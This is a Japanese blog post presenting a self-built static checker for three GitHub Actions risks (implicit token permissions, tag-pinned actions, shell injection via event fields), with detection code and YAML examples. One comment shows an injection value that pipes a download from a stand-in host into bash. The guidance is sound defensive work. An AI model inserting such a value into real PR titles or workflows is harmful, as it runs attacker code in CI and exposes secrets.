5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

GitHub Actionsでよくある3つの『見えない』脆弱性を、自前の静的解析で検出してみた

5
Posted at

はじめに

GitHub Actionsのワークフローは「動けばOK」で書かれがちですが、動いていても安全とは限りません。特に以下の3つは、レビューでも見落とされやすく、かつ実際のインシデント事例があるものです。

  1. permissions を明示していない(=既定値のGITHUB_TOKEN権限に依存している)
  2. サードパーティActionをタグ(@v4など)で参照していて、コミットSHAに固定していない
  3. Issue/PRのタイトルや本文など、外部から書き換え可能な値を run: に直接展開している

この3つをワークフローYAMLから機械的に検出するチェッカーを作ったので、検出ロジックと、静的チェックでは分からない限界を共有します。

1. permissions 未指定は「過大な権限」である

ワークフローに permissions: を書かないと、GITHUB_TOKENはリポジトリや組織の既定設定のまま動きます。新しく作られたリポジトリでは読み取り専用が既定のことが多い一方、古いリポジトリや設定を変えた組織では contents: write などの書き込み権限が付いたままのことがあります。その場合、「テストを実行するだけ」の小さなジョブでも、トークンにはリポジトリへの書き込み権限が付与されています。

# 悪い例(permissionsが無い=既定値に依存)
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - run: npm test
# 良い例(必要最小限を明示)
jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - run: npm test

検出は単純で、ワークフロー全体とジョブ単位それぞれに permissions キーがあるかどうかを見て、無ければ「要確認」として報告します。write-all や個別の xxx: write が明示されている場合は、その権限が本当に必要かを別途レビュー対象にします。

function findPermissionRisks(parsed: ParsedWorkflow[]): PermissionRisk[] {
  const risks: PermissionRisk[] = [];
  for (const p of parsed) {
    if (p.hasWorkflowPermissions) {
      risks.push(...collectPermissionRisks(p.path, "workflow", p.workflowPermissions));
    } else if (p.jobPermissions.length === 0 || p.jobPermissions.some((job) => !job.hasPermissions)) {
      risks.push({ path: p.path, scope: "workflow", kind: "missing-explicit", permission: null });
    }
    for (const job of p.jobPermissions) {
      if (job.hasPermissions) {
        risks.push(...collectPermissionRisks(p.path, `job:${job.jobId}`, job.permissions));
      }
    }
  }
  return risks;
}

注意点として、公開YAMLだけではリポジトリ側の「既定の権限」設定(Read/Write)までは確定できません。なので「不足」と断定せず「設定依存・要確認」として扱うのが誠実です。

2. タグ参照は「未来の自分」を信用しすぎている

uses: actions/checkout@v4 のような書き方は、v4 というタグが指すコミットがいつ変わってもおかしくないという前提を受け入れていることになります。タグの付け替えは、Actionの作者本人が意図的に行う場合もあれば、作者のGitHubアカウントが乗っ取られて悪意あるコードに差し替えられる場合もあります。実際に2025年には、広く使われていたGitHub Action(tj-actions/changed-files)がこの手口で侵害され、多数のリポジトリのCIシークレットが漏えいする事件が起きています。GitHub公式も、サードパーティActionはタグではなくフルレングスのコミットSHAで固定することを推奨しています。

# 悪い例
- uses: some-org/some-action@v2

# 良い例(コミットSHAで固定し、コメントで可読性を担保)
- uses: some-org/some-action@a1b2c3d4e5f6...  # v2.1.0

検出ロジックは、uses: の値から @ 以降を取り出し、40桁の16進文字列(=フルレングスSHA)かどうかを正規表現で判定するだけです。ローカルAction(./)やDockerイメージ参照(docker://)は対象外にします。

function findUnpinnedThirdPartyActions(parsed: ParsedWorkflow[]): UnpinnedThirdPartyAction[] {
  const findings: UnpinnedThirdPartyAction[] = [];
  for (const p of parsed) {
    for (const uses of p.usesSet) {
      if (uses.startsWith("./") || uses.startsWith("docker://")) continue;
      const ref = uses.includes("@") ? uses.slice(uses.lastIndexOf("@") + 1) : "";
      if (!/^[0-9a-f]{40}$/i.test(ref)) {
        findings.push({ path: p.path, uses });
      }
    }
  }
  return findings;
}

3. ${{ github.event.* }} を run: に直接書くと、それはシェルインジェクションになり得る

PRのタイトルやコメント本文は、リポジトリへの書き込み権限を持たない第三者でも自由に書ける文字列です。それを run: ブロックの中にテンプレート展開すると、GitHub Actionsはその値をそのままシェルコマンドとして実行可能な文字列として埋め込みます。

# 危険:PRタイトルに ` $(curl evil.sh | bash) ` のような文字列を入れられると実行されてしまう
- run: echo "Title was: ${{ github.event.pull_request.title }}"
# 安全:一度環境変数に逃がしてから参照する
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title was: $TITLE"

環境変数経由なら、シェルはその値を単なる文字列として扱うので、コマンドとして解釈されません。検出は、run: スクリプトの中で github.event.(issue|pull_request|comment|review|discussion...). 系のプロパティが ${{ }} で直接展開されている箇所を正規表現で拾い、env: 経由の安全なパターンは除外します。

const UNTRUSTED_SHELL_EXPRESSION_RE =
  /\$\{\{\s*((?:github\.event\.(?:issue|pull_request|comment|review|review_comment|discussion|discussion_comment)\.(?:title|body|head\.ref|head\.label)|github\.head_ref))\s*\}\}/g;

このチェッカーの限界

正直に書いておくと、これは静的なパターンマッチであって、ワークフローの意味を理解しているわけではありません。

  • リポジトリ・Organization側の既定権限設定までは見えないので、「権限不足」の断定はしません
  • 動的に組み立てられた uses: や run: の文字列までは追えません
  • 「安全な書き方に見えるが実は危険」なケース(例: env: に入れた値をさらに eval する等)までは検出しません

それでも、3つのパターンのうち1つでも該当すれば、見直す価値のある箇所であることは変わりません。

まとめ

  • permissions の明示、Actionのコミット固定、外部入力のシェル直接展開回避——この3つはどれも「書き方を少し変えるだけ」で防げます
  • CIは一度書くと見直されにくい領域なので、機械的にチェックできる部分は自動化しておくと安心です

自分のリポジトリのワークフローをこの3観点でサッと確認できる無料ツールを公開しています。YAMLを貼り付けるだけで、ブラウザ内で完結してチェックできます(送信・保存は行いません)。

もっと踏み込んで「公開リポジトリ全体を根拠付きで確認してほしい」という場合は、固定価格USD 29の文章監査を提供しています。

実装や修正まで必要な場合は、GitHub Actionsのセットアップ・修正サービスも提供しています。

※ 本記事はAI(Claude Code)を使って作成しました。同じ内容をZennにも掲載しています: https://zenn.dev/vakoya/articles/github-actions-3-hidden-risks

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?